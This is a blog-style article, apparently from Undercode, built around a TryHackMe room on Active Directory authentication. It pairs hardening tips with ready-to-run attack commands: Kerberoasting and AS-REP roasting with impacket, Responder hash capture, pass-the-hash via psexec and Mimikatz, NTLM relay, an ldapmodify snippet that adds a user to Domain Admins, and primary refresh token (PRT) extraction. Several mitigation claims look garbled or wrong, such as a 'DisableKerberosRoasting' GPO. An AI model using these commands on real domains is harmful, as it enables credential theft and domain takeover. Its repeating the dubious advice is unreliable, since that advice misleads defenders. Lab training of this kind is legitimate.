Listen to this Post

Introduction
Active Directory (AD) remains the most widely used identity management system in enterprise environments, yet its authentication protocols—Kerberos, NTLM, and LDAP—are often misunderstood or misconfigured, leaving doors wide open for attackers. TryHackMe’s newly released “Intro to AD Authentication” room (https://lnkd.in/d366Zn4q) provides a hands-on playground to demystify these protocols, from ticket requests to hash passing. This article extracts the room’s core technical concepts and expands them into actionable commands, hardening steps, and real-world exploitation scenarios for red and blue teams alike.
Learning Objectives
- Differentiate between Kerberos, NTLM, and LDAP authentication flows in Windows AD environments.
- Execute manual and tool-assisted attacks like Kerberoasting, AS-REP roasting, and NTLM relay using Linux and Windows utilities.
- Implement detection and mitigation strategies, including credential guard, delegation restrictions, and logging enhancements.
You Should Know
- Kerberos Authentication Deep Dive: Tickets, SPNs, and Roasting Attacks
Kerberos is the default AD authentication protocol (Windows 2000+). It uses tickets instead of password transmission, but misconfigurations allow attackers to extract hashes offline.
Step‑by‑step guide: How Kerberos works and how to abuse it
- The standard flow – Client gets a Ticket Granting Ticket (TGT) from the Key Distribution Center (KDC), then uses it to request service tickets for specific Service Principal Names (SPNs).
- Enumerate SPNs – Attackers list accounts with SPNs (e.g., SQL, HTTP services) using `setspn` or PowerShell.
Windows (PowerShell as non‑admin) setspn -T DOMAIN -Q /
Linux (using impacket) python3 GetUserSPNs.py DOMAIN/username:password -dc-ip <DC_IP>
- Kerberoasting – Request a service ticket for an SPN and crack it offline (since it’s encrypted with the service account’s NTLM hash).
Using impacket python3 GetUserSPNs.py DOMAIN/username:password -request -dc-ip <DC_IP>
Then crack with hashcat (`-m 13100`).
- AS-REP Roasting – If Kerberos pre‑authentication is disabled, request an AS-REP hash for any user.
python3 GetNPUsers.py DOMAIN/username -dc-ip <DC_IP> -no-pass
- Mitigation – Use strong, random passwords for service accounts (20+ chars), monitor event ID 4769 for suspicious TGS requests, and set `“DisableKerberosRoasting”` GPO. Implement Managed Service Accounts (gMSA) to automatically rotate passwords.
2. NTLM Authentication: Pass‑the‑Hash, Relay, and Hardening
NTLM is a legacy challenge‑response protocol still enabled by default. Attackers can capture or relay hashes without cracking them.
Step‑by‑step guide: Exploiting and blocking NTLM attacks
- Capture NTLMv2 hashes – Use Responder on Linux to spoof LLMNR/NBT‑NS responses.
sudo responder -I eth0 -dwPv
Any client trying to resolve a non‑existent host will send its NTLMv2 hash. Save to a file and crack with hashcat (
-m 5600). - Pass‑the‑Hash (PtH) – Once you have an NTLM hash, authenticate without knowing the plaintext password.
Using impacket’s psexec python3 psexec.py DOMAIN/user@target -hashes :<ntlm_hash>
Windows (Mimikatz) sekurlsa::pth /user:username /domain:DOMAIN /ntlm:<hash> /run:powershell.exe
- NTLM Relay – Instead of cracking, forward the hash to another machine (e.g., SMB, LDAP).
ntlmrelayx.py targeting a file server python3 ntlmrelayx.py -tf targets.txt -smb2support
Mitigation: Enable SMB signing, use “Require NTLMv2” and “Extended Protection for Authentication”, and disable LLMNR/mDNS via GPO.
- Detection – Monitor event IDs 4624 (logon) with logon type 3 (network), and 4776 (credential validation) for repeated failures. Look for unexpected NTLM authentication to high‑value servers.
-
LDAP and LDAPS: Querying and Modifying Directory Data
LDAP is the protocol for reading and writing AD objects. Unauthenticated or overly permissive binds give attackers a goldmine of information.
Step‑by‑step guide: Secure LDAP enumeration and hardening
- Anonymous LDAP query (legacy risk) – Test if your domain allows unauthenticated binds.
ldapsearch -x -H ldap://<DC_IP> -b "dc=domain,dc=com"
If this returns data, you have a critical misconfiguration.
- Authenticated enumeration – Use a low‑privilege domain account to dump user lists, group memberships, and GPOs.
ldapsearch -x -H ldap://<DC_IP> -D "CN=user,CN=Users,dc=domain,dc=com" -w password -b "dc=domain,dc=com" "(objectClass=user)" samAccountName
- Abusing LDAP for privilege escalation – Modify an object’s ACL if you have `WriteProperty` rights (e.g., add a user to Domain Admins via
ldapmodify).Add a user to a group (requires high privileges) ldapmodify -x -H ldap://<DC_IP> -D "cn=admin,dc=domain,dc=com" -w password << EOF dn: cn=Domain Admins,cn=Users,dc=domain,dc=com changetype: modify add: member member: cn=hacker,cn=Users,dc=domain,dc=com EOF
- Hardening – Enforce LDAP signing and channel binding (KB4520412). Use LDAPS (port 636) with valid certificates. Set the `ms-DS-MachineAccountQuota` to 0 to prevent machine account creation attacks (like Shadow Credentials).
-
AD Authentication in Hybrid and Cloud Environments (Azure AD / Entra ID)
Modern enterprises extend AD to the cloud, introducing new protocols like OAuth2, SAML, and Windows Hello for Business. Misconfigured hybrid identities are a prime target for token theft and PRT abuse.
Step‑by‑step guide: Testing and securing hybrid authentication
- Extract Primary Refresh Token (PRT) – On a hybrid‑joined device, an attacker with local admin can dump the PRT using tools like
AADInternals.Inside an elevated PowerShell Import-Module AADInternals Get-AADIntUserToken -PRT
This token can be replayed to access cloud apps as the user.
- Prevent token theft – Enable Conditional Access policies requiring compliant or hybrid joined devices. Use Credential Guard and Windows Defender Credential Guard to isolate PRTs.
- Seamless SSO misconfig – If Azure AD Seamless SSO is enabled, the computer account’s hash can be used to forge Kerberos tickets for Azure AD. Rotate the `AZUREADSSOACC$` account hash periodically.
Rotate Seamless SSO key (Azure AD Connect server) Set-AzureADSSO -RotateKerberosKey
5. Tool Configuration: Building Your AD Authentication Lab
To safely practice these techniques, build a local lab using VirtualBox/VMware and automated scripts like AutomatedLab (Windows) or Badblood.
Step‑by‑step guide: Lab setup and essential tools
- Domain controller – Windows Server 2022 with AD DS role, configure domain
undercode.local.
2. Client machine – Windows 10/11 domain‑joined.
- Attack machine – Kali Linux or Parrot OS with tools: impacket, crackmapexec, bloodhound, responder, mitm6.
4. Network configuration – Host‑only network for isolation.
- Run the TryHackMe room – Go to https://lnkd.in/d366Zn4q, deploy the AttackBox, and complete the interactive tasks for Kerberos, NTLM, and LDAP. Use the following commands inside the room’s VM to verify your attacks:
Test NTLM relay to SMB sudo ntlmrelayx.py -t smb://<target_IP> -smb2support Check for AS-REP roasting impacket-GetNPUsers -dc-ip <DC_IP> 'DOMAIN/' -usersfile usernames.txt
What Undercode Say
- Kerberos is not a magic shield – SPNs and pre‑authentication flags are often misconfigured, making Kerberoasting and AS-REP roasting the easiest paths to domain admin.
- NTLM won’t die – Even in modern networks, NTLM is disabled only in high‑maturity environments. Attackers will always try to relay or pass‑the‑hash first. Enable SMB signing and LDAP signing across all servers.
- Hybrid identity doubles the attack surface – Cloud tokens (PRTs, refresh tokens) are ephemeral but can be stolen just like tickets. Monitor for impossible travel and device anomalies.
Prediction
Within 12 months, we will see a surge in attacks that combine Kerberoasting with Azure AD token manipulation—for example, cracking a service account’s Kerberos hash, then using it to authenticate to a hybrid application that trusts the same account in the cloud. Organisations that separate on‑prem and cloud service accounts (no password reuse) will fare better. TryHackMe’s new room is timely; expect advanced AD‑focused rooms covering cross‑forest trust abuse and cloud‑native authentication (FIDO2, WebAuthn) to follow. The only way to defend is to attack your own AD first.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Djalilayed Tryhackme – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


